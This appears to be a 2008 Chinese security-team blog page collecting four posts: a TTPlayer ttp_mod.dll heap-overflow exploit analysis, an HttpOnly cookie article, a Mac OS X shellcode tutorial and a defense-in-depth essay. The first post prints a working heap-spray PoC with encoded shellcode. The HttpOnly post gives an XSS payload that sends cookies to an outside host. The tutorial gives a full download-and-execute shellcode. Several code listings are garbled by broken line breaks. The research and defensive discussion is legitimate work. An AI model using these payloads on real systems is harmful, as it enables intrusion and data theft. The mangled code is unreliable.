2008年3月31日 星期一

[Tips]千千静听ttp_mod.dll解析med文件堆溢出的利用分析

Author: void[at]ph4nt0m[dot]org
Blog: http://hi.baidu.com/54nop
Date: 2008-03-31

这个洞是dummy牛发现的,当时我只是看了有问题的源码就觉得最多DoS,没有去实际测试分析,惭愧.没想到dummy牛利用成功.这里事后分析一下:-)

千千静听ttp_mod.dll用的是开源代码,源代码链接:
http://gstreamer.freedesktop.org/src/gst-plugins/gst-plugins-0.8.3.tar.gz

出问题的源代码是gst-plugins-0.8.3/gst/modplug/libmodplug/load_med.cpp里的:

698   // Song Comments
699   UINT annotxt = bswapBE32(pmex->annotxt);
700   UINT annolen = bswapBE32(pmex->annolen);
701   if ((annotxt) && (annolen) && (annotxt+annolen <= dwMemLength))
702   {
703    m_lpszSongComments = new char[annolen+1];
704    memcpy(m_lpszSongComments, lpStream+annotxt, annolen);
705    m_lpszSongComments[annolen] = 0;
706   }


这是个很典型的整数溢出.annolen为0xFFFFFFFF(即有符号整数-1)时,导致703行new char[0],有趣的是这个0字节分配居然成功返回(测试见注[1]),所以即使703行后加上类似if(m_lpszSongComments) {...}的检查代码,也无济于事.




704行进行memcpy,因为annolen为0xFFFFFFFF,毫无疑问导致了堆溢出,触发内存读/写越界异常.
这里更有意思:
用od开启ie,载入poc.html(见注[2]),test.mod构造详见dummy的文章.
当ttp_mod.dll在memcpy触发越界异常后,打开SEH链窗口,将ttpctrl.dll的所有异常处理例程F2断下,Shift+F9忽略异常继续.




在ttpctrl.04EE73F1暂停,进入了CxxFrameHandler异常处理流程,F9继续运行,可以看到这个异常被千千静听处理掉了!这里很关键,直接导致后续的虚函数指针覆盖和HeapSpray利用的可能.如果异常处理例程都不进行处理,只能导致Crash!



最后,shellcode运行,突然弹出来一个窗口,很黄很暴力,我赶紧把它给关了.



除了这个load_med.cpp有问题外,这个源码包好几处都存在类似问题,有兴趣的可以看看.


注释:
注[1]:
malloc(0)的行为: http://c-faq-chn.sourceforge.net/ccfaq/node181.html
关于new char[0]堆分配的测试代码:

---[Cut Below]----------------------------
#include <stdio.h>
void main()
{
int len=0, i=0;
char* p;
len 
= -1;
= new char[len];
printf(
"alloc 0x%08X Bytes at %p\n", len, new char[len]);

len 
= 0;
= new char[len];
printf(
"alloc 0x%08X Bytes at %p\n", len, new char[len]);
while(1)
{
   p[i
++= 'A';
}
}

---[Cut Above]---------------------------

注[2]:
poc.html代码

---[Cut Below]----------------------------
<OBJECT ID="ttp" WIDTH="64" HEIGHT="64" CLASSID="CLSID:89AE5F82-410A-4040-9387-68D1144EFD03"></OBJECT>
<OBJECT ID="ttp2" WIDTH="64" HEIGHT="64" CLASSID="CLSID:89AE5F82-410A-4040-9387-68D1144EFD03"></OBJECT>
<script >
var heapSprayToAddress = 0x0c0c0c0c;
var shellcode = unescape("%u0eeb%u4b5b%uc933%uc6b1%u3480%ufe0b%ufae2%u05eb%uede8%uffff%u17ff%ufe5d%ufefe%u94a1%ua7ce%u759a%u75ff%uf2be%u8e75%u53e2%u9675%u75f6%u9409%ua7fc%ubd16%ufefe%u1cfe%u9607%ucccd%ufefe%u8b96%u9b8d%uaa8c%ue801%u166b%ufed0%ufefe%u96ac%u8c91%ufe99%u9a96%u8a91%u96a3%uce8a%ua593%u8e96%uca96%u9690%u9fa5%ua38a%u8896%u9791%u759a%u7322%uf2b8%uadac%uacae%ua801%u01f6%ufaa8%ua8af%u8b75%u75c2%ud08a%ufd86%ua80b%u8875%ufdde%ucd0b%ub737%u53bf%u3bfd%u25cd%u40f1%uc4ee%u8a28%u3ff6%uf935%u24fd%u15be%uc50f%u8be1%ua019%ua075%ufdda%u9823%uf275%u75b5%ue2a0%u23fd%ufa75%ufd75%u553b%ua7a0%u163d%u01a6%u0101%u8acc%uf26f%u779d%ub12f%uf494%ue0c6%u2244%u3845%u44d2%u4f22%u3f57%udf58%u00fe");
var heapBlockSize = 0x100000;
var payLoadSize = shellcode.length * 2;
var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
var spraySlide = unescape("%u0c0c%u0c0c");
spraySlide 
= getSpraySlide(spraySlide,spraySlideSize);
heapBlocks 
= (heapSprayToAddress - 0x100000)/heapBlockSize;
memory 
= new Array();
for (i=0;i<heapBlocks;i++)
{
memory[i] 
= spraySlide + shellcode;
}
function getSpraySlide(spraySlide, spraySlideSize)
{
while (spraySlide.length*2<spraySlideSize)
{
      spraySlide 
+= spraySlide;
}
spraySlide 
= spraySlide.substring(0,spraySlideSize/2);
return spraySlide;
}
//ttp.URL="c://test.mod";
//
ttp.URL="http://192.168.0.100/test.mod";
//
ttp.controls.play();
setTimeout('ttp.URL="c:/test.mod";ttp.controls.play();',1000);
//setTimeout('ttp.openURL("http://192.168.0.100/test.mod");ttp.controls.play();',1000);
</SCRIPT>


---[Cut Above]---------------------------

2008年3月25日 星期二

[PSTZine 0x01][0x06][利用httponly提升应用程序安全性]

==Ph4nt0m Security Team==

Issue 0x01, Phile #0x06 of 0x06


|=-----------------------------------------------------------------------=|
|=-----------=[ 利用httponly提升应用程序安全性 ]=-----------=|
|=-----------------------------------------------------------------------=|
|=-----------------------------------------------------------------------=|
|=--------------------------=[ By 剑心 ]=----------------------------=|
|=-----------------------------------------------------------------------=|
|=-----------------------------------------------------------------------=|

随着www服务的兴起,越来越多的应用程序转向了B/S结构,这样只需要一个浏览器就可以访问各种各样的web服务,但是这样也越来越导致了越来越多的 web安全问题。www服务依赖于Http协议实现,Http是无状态的协议,所以为了在各个会话之间传递信息,就不可避免地用到Cookie或者 Session等技术来标记访问者的状态,而无论是Cookie还是Session,一般都是利用Cookie来实现的(Session其实是在浏览器的 Cookie里带了一个Token来标记,服务器取得了这个Token并且检查合法性之后就把服务器上存储的对应的状态和浏览器绑定),这样就不可避免地安全聚焦到了Cookie上面,只要获得这个Cookie,就可以取得别人的身份,这对于入侵者是一件很美妙的事情,特别当获得的Cookie属于管理员等高权限身份者时,危害就更大了。在各种web安全问题里,其中xss漏洞就因此显得格外危险。

对于应用程序来说,一旦存在了xss漏洞就意味着别人可以在你的浏览器中执行任意的js脚本,如果应用程序是开源的或者功能是公开的话,别人就可以利用 ajax使用这些功能,但是过程往往很烦琐,特别是想直接获得别人身份做随意浏览的话困难就更大。而对于不开源的应用程序,譬如某些大型站点的web后台(web2.0一个显著的特征就是大量的交互,用户往往需要跟后台的管理员交互,譬如Bug汇报,或者信息投递等等),尽管因为交互的存在可能存在跨站脚本漏洞,但是因为对后台的不了解,无法构造完美的ajax代码来利用,即使可以用js取得后台的代码并回传分析,但是过程同样烦琐而且不隐蔽。这个时候,利用xss漏洞获得Cookie或者Session劫持就很有效了,具体分析应用程序的认证,然后使用某些技巧,甚至可以即使对方退出程序也一样永久性获得对方的身份。

那么如何获得Cookie或者Session劫持呢?在浏览器中的document对象中,就储存了Cookie的信息,而利用js可以把这里面的Cookie给取出来,只要得到这个Cookie就可以拥有别人的身份了。一个很典型的xss攻击语句如下:

xss exp:

    url=document.top.location.href;
    cookie
=document.cookie;
    c
=new Image();
    c.src
='http://www.loveshell.net/c.php?c='+cookie+'&u='+url;

一些应用程序考虑到这个问题所在,所以可能会采取浏览器绑定技术,譬如将Cookie和浏览器的User-agent绑定,一旦发现修改就认为 Cookie失效。这种方法已经证明是无效的,因为当入侵者偷得Cookie的同时他肯定已经同时获得了User-agent。还有另外一种比较严格的是将Cookie和Remote-addr相绑定(其实就是和IP绑定,但是一些程序取得IP的方法有问题一样导致饶过),但是这样就带来很差的用户体验,更换Ip是经常的事,譬如上班与家里就是2个IP,所以这种方法往往也不给予采用。所以基于Cookie的攻击方式现在就非常流行,在一些web 2.0站点很容易就取到应用程序的管理员身份。

如何保障我们的敏感Cookie安全呢?通过上面的分析,一般的Cookie都是从document对象中获得的,我们只要让敏感Cookie在浏览器 document中不可见就行了。很幸运,现在浏览器在设置Cookie的时候一般都接受一个叫做HttpOnly的参数,跟domain等其他参数一样,一旦这个HttpOnly被设置,你在浏览器的document对象中就看不到Cookie了,而浏览器在浏览的时候不受任何影响,因为Cookie 会被放在浏览器头中发送出去(包括ajax的时候),应用程序也一般不会在js里操作这些敏感Cookie的,对于一些敏感的Cookie我们采用 HttpOnly,对于一些需要在应用程序中用js操作的cookie我们就不予设置,这样就保障了Cookie信息的安全也保证了应用。关于 HttpOnly说明可以参照http://msdn2.microsoft.com/en-us/library/ms533046.aspx。

给浏览器设置Cookie的头如下:
    Set-Cookie: <name>=<value>[; <name>=<value>]
    [; expires
=<date>][; domain=<domain_name>]
    [; path
=<some_path>][; secure][; HttpOnly]


以php为例,在php 5.2版本时就已经在Setcookie函数加入了对HttpOnly的支持,譬如

    <?php

    
setcookie("abc", "test", NULL, NULL, NULL, NULL, TRUE);

    
?>


就可以设置abc这个cookie,将其设置为HttpOnly,document将不可见这个Cookie。因为setcookie函数本质就是个 header,所以一样可以使用header来设置HttpOnly。然后再使用document.cookie就可以看到已经取不到这个Cookie 了。我们用这种方法来保护利例如Sessionid,如一些用于认证的auth-cookie,就不用担心身份被人获得了,这对于一些后台程序和 webmail提升安全性的意义是重大的。再次使用上面的攻击手法时可以看到,已经不能获取被我们设置为HttpOnly的敏感Cookie了。

但是,也可以看到HttpOnly并不是万能的,首先它并不能解决xss的问题,仍然不能抵制一些有耐心的黑客的攻击,也不能防止入侵者做ajax提交,甚至一些基于xss的proxy也出现了,但是已经可以提高攻击的门槛了,起码xss攻击不是每个脚本小子都能完成的了,而且其他的那些攻击手法因为一些环境和技术的限制,并不像Cookie窃取这种手法一样通用。

HttpOnly也是可能利用一些漏洞或者配置Bypass的,关键问题是只要能取到浏览器发送的Cookie头就可以了。譬如以前出现的Http Trace攻击就可以将你的Header里的Cookie回显出来,利用ajax或者flash就可以完成这种攻击,这种手法也已经在ajax和 flash中获得修补。另外一个关于配置或者应用程序上可能Bypass的显著例子就是phpinfo,大家知道phpinfo会将浏览器发送的http 头回显出来,其中就包括我们保护的auth信息,而这个页面经常存在在各种站点上,只要用ajax取phpinfo页面,取出header头对应的部分就可以获得Cookie了。一些应用程序的不完善也可能导致header头的泄露,这种攻击方式对于basic验证保护的页面一样可以攻击。

HttpOnly在IE 6以上,Firefox较新版本都得到了比较好的支持,并且在如Hotmail等应用程序里都有广泛的使用,并且已经是取得了比较好的安全效果。

[PSTZine 0x01][0x05][Shellcode For Mac OSX x86 Tips]

==Ph4nt0m Security Team==

Issue 0x01, Phile #0x05 of 0x06


|=-----------------------------------------------------------------------=|
|=-------------=[ Shellcode For Mac OSX (x86) Tips ]=--------=|
|=-----------------------------------------------------------------------=|
|=-----------------------------------------------------------------------=|
|=---------------------------=[ By noop ]=--------------------------=|
|=------------=[ wo0wo0noop_at_gmail_dot_com ]=--------=|
|=-----------------------------------------------------------------------=|

一、hello, world

Mac OSX 目前的版本是10.5.1,其内核是基于bsd的,文件格式是自有的macho格式。市面上新的机器都是x86构架。

Mac系统对系统调用的处理与freebsd是一致的,都是通过堆栈传递函数参数。

这里举个最简单的例子来说明问题:

--------------------华丽的分割开始-----------------

global  start
start:
xor             eax,eax

jmp 
short       string

code:
pop             esi
push 
byte       15
push            esi
push 
byte       1
push            eax
mov             al,
4
int             0x80

push            eax
mov             al,
1
int             0x80

string:
call code
db      
'Hello!, world!',0x0a

-----------------华丽的分割结束---------------

这是一个蛮简单的hello world,和*nix一样可以使用jmp call方法,这里做些简单的描述,照顾一下各种读者。
global start
默认是使用start的,而不是_start。
xor    eax,eax
对eax清零,
jmp 
short    string
跳转到string,
string:
call code
db    
'Hello!, world!',0x0a
这里call会把下一行压入栈,接下来会用到,注意结尾的0xa。
code:
pop    esi  
//指向 hello!,word!
push byte    15  //参数入栈,长度
push    esi        //buf指针
push byte    1   //fd
push     eax        //这里是和linux稍有区别的地方,注意要多压一个寄存器入栈
mov    al,4        //write的系统调用号
int    0x80       

push            eax
mov             al,
1
int             0x80

同样道理,调用exit退出。

这里有个技巧:我们可以利用之前入栈但是没出栈的那个eax作为一个参数,所以在上一个系统调用的时候,可以考虑为下一个系统调用准备参数。

nasm编译的时候注意指定-f macho。

二、 http-download & execute

一般fbsd的shellcode到处都有的,根据Mac OSX的系统调用的变动稍作修改就可以用了。

这里我在linux shellcode的基础上改写了一个http下载执行的shellcode,这是通过底层函数实现的,而非Mac提供的封装后的调用,相对而言比较少见。

------------------------华丽的分割线开始------------------
global start
start:
xor             ecx,ecx
xor             eax,eax
cdq
push            eax
push 
byte       0x01
push 
byte       0x02
push            eax
mov             al,
97
int             0x80
xchg            edi,eax

push            
0x8380217d
mov             ebp, 
0xaffffffd
not             ebp
push            ebp
mov             eax, esp
push 
byte       0x10
push            eax
push            edi
xor             eax,eax
mov             al,
98
push            eax
int             0x80

push 
byte       0x41
mov             ebx, esp
mov             ebp, 
0xfffffdfd
not             ebp
push            ebp
push            ebx
mov             al,
5
push            eax
int             0x80
xchg            esi, ebx
xchg            ebx, eax

sendq:
push            
0x0a0d0a0d
push            
0x302e312f
push            
0x50545448
push            
0x20657865
push            
0x2e636c61
push            
0x632f2f2f
push            
0x20544547
mov             ecx, esp
push 
byte       0x1c
push            ecx
push            edi
mov             al,
0x4

_request:
push 
byte       0x1
int             0x80

_wait:
dec             ecx
push            ecx
push            edi
xor             eax,eax
mov             al,
0x3
push 
byte       0x1
int             0x80
mov             eax,[ecx]
cmp             eax,
0xd0a0d0a
jne             _wait
xor             eax, eax

_read:
push            ecx
push            edi
mov             al,
3

_write:
push 
byte       0x1
int             0x80
test            eax,eax
je              close_file
push            ecx
push            ebx
mov             al,
4
push 
byte       0x1
int             0x80
jmp             _read

close_file:
push            ebx
xor             eax,eax
push            eax
mov             al,
6
int             0x80

execv:
mov             ebx,esi
push            eax
push            ebx
mov             al,
59
push            eax
int             0x80

---------------------华丽的分割线结束----------------

这里我们是构造一个http的请求,然后下载到本地存为A,然后执行。

详细的分部分解释:

global start
start:
xor             ecx,ecx
xor             eax,eax
cdq
清零寄存器
push            eax
push 
byte       0x01
push 
byte       0x02
push            eax
mov             al,
97
int             0x80
系统调用socket
int socket(int domain, int type, int protocol);
参数反顺序入栈,另外额外push了一个eax。
xchg            edi,eax
将返回的句柄存入edi,保存备用。
以下是connect系统调用:
push            
0x8380217d
下载的服务器IP地址,可以通过工具生成,如果有0就要合理取反了。
mov             ebp, 
0xaffffffd
not             ebp
通过取反,避免产生0
push            ebp
mov             eax, esp
构建一个sockaddr结构指针
push 
byte       0x10
push            eax
push            edi
参数依次入栈
xor             eax,eax
mov             al,
98
push            eax
int             0x80
通过connect系统调用建立连接。
push 
byte       0x41
mov             ebx, esp
mov             ebp, 
0xfffffdfd
not             ebp
push            ebp
push            ebx
mov             al,
5
push            eax
int             0x80
xchg            esi, ebx
xchg            ebx, eax
通过open系统调用打开一个文件句柄,文件名为A,如果不存在,会自动创建。这里需要注意的是要将open(
const char *path, int oflag, )中第一个参数保留下来。所以在系统调用之后,有这么两句:
xchg        esi, ebx
xchg        ebx, eax
*path,也就是ebx保存到esi中,另外将返回的句柄保存到ebx中。
sendq:
push            
0x0a0d0a0d
push            
0x302e312f
push            
0x50545448
push            
0x20657865
push            
0x2e636c61
push            
0x632f2f2f
push            
0x20544547
mov             ecx, esp
push 
byte       0x1c
这一段构建http请求,以及计算请求的长度(
0x1c),都可以通过一个小工具生成,并且会自动对齐。
push            ecx
push            edi
之前保存的句柄edi
mov             al,
0x4
_request:
push 
byte       0x1
int             0x80
通过write系统调用发送请求
_wait:
dec             ecx
push            ecx
push            edi
xor             eax,eax
mov             al,
0x3
push 
byte       0x1
int             0x80
通过调用write读取服务器返回的信息
mov             eax,[ecx]
cmp             eax,
0xd0a0d0a
判断是否出现0d0a0d0a来判断是否开始到数据段,是的话往下执行。
jne             _wait
否则的话跳回_wait标签继续读取
xor             eax, eax
清零eax,为下面的小循环做准备
_read:
push            ecx
push            edi
mov             al,
3

_write:
push 
byte       0x1
int             0x80
test            eax,eax
je              close_file
push            ecx
push            ebx
mov             al,
4
push 
byte       0x1
int             0x80
jmp             _read
这里通过巧妙地构建一个je,来判断每次读取以后是否到达文件尾部,是的话就关闭文件,否则则继续写入。
close_file:
push            ebx
xor             eax,eax
push            eax
mov             al,
6
int             0x80
通过调用close来关闭文件,ebx是之前保存的句柄。
execv:
mov             ebx,esi
push            eax
push            ebx
mov             al,
59
push            eax
int             0x80


通过execv系统调用来执行下载的文件。

在写这样子很长,很多系统调用的shellcode的时候,有几点值得注意:

1.尽量利用上一个系统调用最后push的那个不会出栈的“无用”内容作为下一个系统调用的参数;

2.如果出现0,可以通过取反来规避;

3.注意保存系统调用的返回值到合适的寄存器;

4.注意文件生成的权限。

这个shellcode只是一个范例,大家想写很复杂的shellcode的时候,不妨从这种类型开始。

三、几个相关工具:

1.生成http请求的工具,来自tty64.

/*
 * gen_httpreq.c, utility for generating HTTP/1.x requests for shellcodes
 *
 * SIZES:
 *
 *      HTTP/1.0 header request size - 18 bytes+
 *      HTTP/1.1 header request size - 26 bytes+
 *
 * NOTE: The length of the selected HTTP header is stored at EDX register.
 *       Thus the generated MOV instruction (to EDX/DX/DL) is size-based.
 *
 * - izik@tty64.org
 
*/

#include 
<stdio.h>
#include 
<stdlib.h>
#include 
<unistd.h>
#include 
<stdarg.h>
#include 
<string.h>

#define X86_PUSH \
        
0x68

#define X86_MOV_TO_DL(x) \
        printf(
"\t\"\\xb2\\x%02x\"\n", x & 0xFF);

#define X86_MOV_TO_DX(x) \
        printf(
"\t\"\\x66\\xba\\x%02x\\x%02x\"\n", \
        (x 
& 0xFF), ((x >> 8& 0xFF));

#define X86_MOV_TO_EDX(x) \
        printf(
"\t\"\\xba\\x%02x\\x%02x\\x%02x\\x%02x\"\n", \
        (x 
& 0xFF), ((x >> 8& 0xFF), ((x >> 16& 0xFF), ((x >> 24& 0xFF));

void usage(char *);
int printx(char *fmt, );

int main(int argc, char **argv) {

        
if (argc < 2) {
                usage(argv[
0]);
                
return -1;
        }

        
if (argv[2][0!= '/') {

                fprintf(stderr, 
"filename must begin with '/' as any sane URL! (e.g. /index.html)\n");

                
return -1;
        }

        
if (!strcmp(argv[1], "-0")) {

                
return printx("GET %s HTTP/1.0\r\n\r\n", argv[2]);
        }

        
if (!strcmp(argv[1], "-1")) {

                
if (argc != 4) {

                        fprintf(stderr, 
"missing <host>, required parameter for HTTP/1.1 header! (e.g. www.tty64.org)\n");

                        
return -1;
                }

                
return printx("GET %s HTTP/1.1\r\nHost: %s\r\n\r\n", argv[2], argv[3]);
        }

        fprintf(stderr, 
"%s: unknown http protocol, try -0 or -1\n", argv[1]);

        
return -1;
}

/*
 * usage, display usage screen
 * * basename, barrowed argv[0]
 
*/

void usage(char *basename) {

        printf(
                
"usage: %s <-0|-1> <filename> [<host>]\n\n"
                
"\t -0, HTTP/1.0 GET request\n"
                
"\t -1, HTTP/1.1 GET request\n"
                
"\t <filename>, given filename (e.g. /shellcode.bin)\n"
                
"\t <host>, given hostname (e.g. www.tty64.org) [required for HTTP 1.1]\n\n",
                basename);

        
return ;
}

/*
 * printx, fmt string. generate the shellcode chunk
 * * fmt, given format string
 
*/

int printx(char *fmt, ) {
        va_list ap;
        
char buf[256], pad_buf[4], *w_buf;
        
int pad_length, buf_length, i, tot_length;

        memset(buf, 
0x0sizeof(buf));

        va_start(ap, fmt);
        vsnprintf(buf, 
sizeof(buf), fmt, ap);
        va_end(ap);

        buf_length 
= strlen(buf);

        printf(
"\nURL: %s\n", buf);
        printf(
"Header Length: %d bytes\n", buf_length);

        
for (i = 1; buf_length > (i * 4); i++) {
                pad_length 
= ((i+1)*4- buf_length;
        }

        printf(
"Padding Length: %d bytes\n\n", pad_length);

        tot_length 
= buf_length + pad_length;

        w_buf 
= buf;

        
if (pad_length) {

                w_buf 
= calloc(tot_length, sizeof(char));

                
if (!w_buf) {

                        perror(
"calloc");
                        
return -1;
                }

                i 
= index(buf, '/'- buf;

                memset(pad_buf, 
0x2fsizeof(pad_buf));

                memcpy(w_buf, buf, i);
                memcpy(w_buf
+i, pad_buf, pad_length);
                memcpy(w_buf
+pad_length+i, buf+i, buf_length - i);
        }

        
for (i = tot_length - 1; i > -1; i-=4) {

                printf(
"\t\"\\x%02x\\x%02x\\x%02x\\x%02x\\x%02x\" // pushl $0x%02x%02x%02x%02x\n",
                        X86_PUSH, w_buf[i
-3], w_buf[i-2], w_buf[i-1], w_buf[i], w_buf[i-3], w_buf[i-2], w_buf[i-1], w_buf[i]);
        }

        
if (pad_length) {

                free(w_buf);
        }

        
//
        
// The EDX register is assumed to be zero-out within the shellcode.
        
//

        
if (tot_length < 256) {

                
// 8bit value

                X86_MOV_TO_DL(tot_length);

        } 
else if (tot_length < 655356) {

                
// 16bit value

                X86_MOV_TO_DX(tot_length);

        } 
else {

                
// 32bit value, rarely but possible ;-)

                X86_MOV_TO_EDX(tot_length);

        }

        fputc(
'\n', stdout);

        
return 1;
}
}


2. 生成十六进制ip地址的工具。
/*
* one minite coding by noop
*/
#include
<netinet/in.h>
#include
<arpa/inet.h>
#include
<stdio.h>

int main(int argc,char **argv)
{
    
struct in_addr ip;
    unsigned 
int addr;

    
if(argc != 2)
    {
        fprintf(stderr,
"Usage 128.0.0.9\n");
        
return 1;
    }

    inet_aton(argv[
1],&ip);

    printf(
"0x%x\n",ntohl(ip.s_addr) );

    
return 0;
}


四、总结。

这些东西也不属于我完全原创,很多东西都是从前辈那学习二来,总结了些一些经验,提供了一些范例,希望对研究Mac系统的朋友有所帮助。

另外还有一个小技巧,比较懒的人,可以考虑写一个小程序来读取macho文件中的代码部分,自动转换成shellcode,比较省力。相关资料请参考Mac的文件格式文档,我就不提供代码了,写这么个东西也不困难。

有什么问题,欢迎在幻影的邮件列表提出,我平时不怎么收邮箱的邮件,所以,单独发邮件的可能看不到。


参考文档:
[1] b-r00t's Smashing the Mac for Fun & Profit
http://www.milw0rm.com/papers/44
[2] Mac OS X PPC Shellcode Tricks -
http://www.uninformed.org/?v=1&a=1&t=pdf
[3] Mac OS X wars - a XNU Hope
http://www.phrack.org/issues.html?issue=64&id=11#article
[4] Mach-O Runtime
http://developer.apple.com/documentation/DeveloperTools/ ...
Conceptual/MachORuntime/MachORuntime.pdf
[5] Ilja's blackhat talk -
http://www.blackhat.com/presentations/bh-europe-05/ ...
BH_EU_05-Klein_Sprundel.pdf
[6] Radical Environmentalists by Netric -
http://packetstormsecurity.org/groups/netric/envpaper.pdf
[7] Non eXecutable Stack Lovin on OSX86 -
http://www.digitalmunition.com/NonExecutableLovin.txt
[8] Mach-O Infection -
http://felinemenace.org/~nemo/slides/mach-o_infection.ppt
[9] Infecting Mach-O Fies
http://vx.netlux.org/lib/vrg01.html
[10] class-dump
http://www.codethecode.com/Projects/class-dump/
[11] Architecture Spanning Shellcode -
http://www.phrack.org/archives/57/p57-0x17

[PSTZine 0x01][0x04][安全幻想曲2008]

==Ph4nt0m Security Team==

Issue 0x01, Phile #0x04 of 0x06


|=-----------------------------------------------------------------------=|
|=------------------------=[ 安全幻想曲2008 ]=-------------------=|
|=-----------------------------------------------------------------------=|
|=-----------------------------------------------------------------------=|
|=--------------------------=[ By axis ]=-----------------------------=|
|=------------------=[ axis_at_ph4nt0m_dot_org ]=-----------=|
|=-----------------------------------------------------------------------=|

我见过的大多数安全人员,都对技术有着一种狂热,甚至是一种偏执。这种情绪在做安全研究员的时候是非常有好处的,因为作为研究员,可能要偏执考虑到一些极端的情况。这种钻研精神,是光靠勤奋所无法达到的。但是在甲方做安全的话,可能更多时候需要的就不是狂热,而是掌握平衡的艺术。在商业利益与安全性发生冲突时,如何处理好这个平衡,是一个关键。

举一个简单的例子来说,眼下最流行的XSS攻击,其修补方案从总体上来说,大致可以分为 escape output和filter input两种。对于狂热的安全人员来说,当然是恨不得把网站全部弄成静态的,输出都采用escape output,全部输出纯文本,就天下太平了。然而现实与理想总是有差别的,首道难关就是网站肯定会有些富文本的需求。

当安全和需求相抵触时,一定是安全给商业需求让路。这里要避免一个误区,就是安全应该是为需求而服务的,而不是成为需求的障碍。其实这个观点大多数人都心知肚明,但是在实际操作起来的时候往往会事与愿违。

再回到富文本上来,当需求决定需要有富文本输出的时候,狂热的安全人员(下称为狂战士吧)就只好退而求其次,要求对富文本做filter input,对其他没有富文本的地方做escape output。接下来问题来了,对于程序员来说,富文本往往采用了一些第三方的,或者是基于第三方的富文本编辑器,还有的是自己实现了一个。而这些富文本编辑器,往往在考虑xss defense的时候有所欠缺。这时候采用什么样的策略来做filter input,就成为了新的问题。

第一个难关就是程序员会拉上商业,一起来和狂战士PK,说filter input很容易误杀客户的正常操作,还会影响到性能。当然这小小的难关还难不倒狂战士。狂战士往往会轻蔑的一笑,然后把风险推到商业上,说出了问题让他背黑锅之类。这种狠话一放出来,商业往往就会退缩了,毕竟狂战士这么个狠角色是摆在那里的。所以最后会决定让程序员去整filter。

于是程序员简单写了个基于正则的blacklist,并且禁用了部分标签,比如script。狂战士这时候又蹦了出来,对程序员指手画脚,要求禁用 style,因为这玩意太难控制了,黑客有几百种利用style的方式;狂战士还说,基于正则的匹配这个魔法等级太低了,要换个高级魔法,比如个语法分析器,类似html purify这种,还要有log analysis和realtime monitor功能。

一般到了这个时候,程序员对狂战士的忍耐已经差不多到极限了,因为甲方网站很少以安全为主要考核因素,没人会认为一个视频网站或者是交友网站的安全需要做的比FBI更好,因为没那么大的成本投入。于是程序员说要释放这么个高级魔法需要一个团的程序员配合,还需要召唤很长时间才能放出来,所以狂战士的这个非常牛B的魔法无法完成。而一般在这个时候,程序员往往会用啥性能和稳定性之类的因素来忽悠狂战士,说这种魔法一般有一定概率会反噬,没整好就把自己整残了。

狂战士无奈之下,只好同意程序员实现一部分的魔法,filter部分过滤完整有效就行了。做好这个之后,狂战士还让程序员去对没有富文本需求的地方使用 escape output。程序员这时候对狂战士已经忍无可忍了,因为由于以前从来没有注意过xss这方面的问题,所以需要escape的地方是以“千”或者是“万” 为单位的,多如牛毛。于是程序员开始消极怠工,并且开始诉苦。这条路走不通了,狂战士只好开始寻求更好的方案。

后来狂战士回家睡了一觉,在梦中有仙人传授武艺,于是马上想到了新的办法。第一招是filter output,不过这个扯淡的方法根本属于yy,因为对服务器压力太大。第二招是使用WAF,就是web application firewall,开个虚拟补丁,这样程序员不补也能搞定web漏洞。不过这样就依赖于WAF的规则了,而且治标不治本。看来昨晚那个仙人估计是灶君一类低级的小神,尽出馊点子。看来狂战士还得继续和程序员PK下去了。

可以见到,那些牛圈里的狂战士常认为是“奇技淫巧”的XSS问题里,有这么多头疼的问题。简单的问题变得越来越复杂。

安全是一个持续的过程(process)。既然是过程,就会有第一步、第二步 ... 第N步,有一个持续的概念在里面,不能今天整了,明天就不管了。今天的安全并不代表明天的安全,新的技术和应用在不断发展,就会不断带来新的问题。经常看到一个升级反而把漏洞升级出来的例子。所以安全是一个持续的对抗过程,hacking与anti-hacking的过程,广义来说,更是一个弱化风险的过程。

很多BOSS往往都会这么问狂战士:我上了这个720安全卫士是不是桌面安全就不用管了?我上了这个卖红茶IPS是不是就能挡住所有刺客入侵了?狂战士这时候很无奈的说:不行,还是有很多trojan和rootkit可以bypass主动防御,很多shellcode和0day可以anti IPS。 于是BOSS很生气的说: 那我花这么多钱买这个做啥? 狂战士一般会忽悠他说:上了这个可以解决90%的攻击。于是BOSS会很不满意,让狂战士出技术分析报告,一定要有充分的理由才行,狂战士往往要面对这种烦恼。

其实BOSS的这种观点是一种急功近利的想法,没有认识到安全是一个过程,并且是一个持续改进的过程。不是买个box就能解决问题的。没有100%的安全,有漏洞的地方太多了。经常有魔法师用木桶原理来阐述安全问题,但其实很多时候,连木板在哪里,到底那块木板才是短板,都没有一个很清晰的认识,因为很多时候根本无法量化,所以狂战士的工作经常陷入误区。板子太多了,系统、网络、用户、应用、数据、桌面......
放眼看去,全是短板,每块板子都能让刺客或盗贼轻松的进来,偷走核心数据或者弄摊网站然后扬长而去。或者各种短板互相组合,让问题变得更加扑朔迷离。

前面说的WAF就是一种比较功利的做法,虽然厂商经常会蹦出来说这玩意是需要有专人维护的,也是一个持续的过程。但实际上很多购买WAF的用户都没有好好的去做这个过程。其实WAF、IPS最大的软肋不是在没人跟进上,而是在于其是串联的网络上的,特别是开了虚拟补丁的阻断模式的时候。这对于高可用性的应用来说,绝对是无法忍受的。没人敢背这个误杀的黑锅。要是因此导致了PV下降,可能老板就要喊到办公室去喝茶了。不过WAF也不是完全没用,如果能够用好的话,对于网站还是还是很有帮助的,至少在monitor和攻击流量分析上起着积极的意义。不过前提是用好。

刚才说了安全是一个过程 (Process),其实有人跟进这个过程还不够,下面还要重点说说深度防御的思想。经常看到YY小说的作者在写到黑客攻防的时候,说到XXX在xx分钟内就突破了N道防火墙,N大于100;变形金刚里也这么有这种场景。其实这纯粹是扯淡,没事整那么多防火墙做什么,无端影响了可用性。不过YY作者深度防御的理念还是正确的,只是他不知道那玩意不应该单纯叫防火墙,要想表达这个思想,可以整个专业名词,比如:多层防御体系。这样装B就可以装的比较像样了。举例来说,可以在应用层校验用户输入数据,DB层面检查每条sql,操作系统上细分权限,服务最少化,网络上防御arp spoof,加密传输通道,做好ACL......类似措施还有很多,防御的方案交叉层叠起来,就能起来一个比较好的保护效果。

不过偏偏还有不识趣的,比如前面的很多程序员都会说,我都已经做了filter input,还要escape output做啥。狂战士一般听到后会有想要狂化的冲动。按耐住狂化,告诉程序员,说filter input可能会做不干净,会被bypass,毕竟如果遇到一个手执绝世0day(bypass filter)的9级刺客,什么牛B的防御魔法都挡不住,所以能escape output的地方,最好escape掉,这样最干净。可是即便是这样做好了,还是有些会有很难处理和发现的地方,比如在DOM里的XSS,比如在JS里面一些写的很BT的地方,等。这些只能靠肉眼去看了。PK还得进行下去。

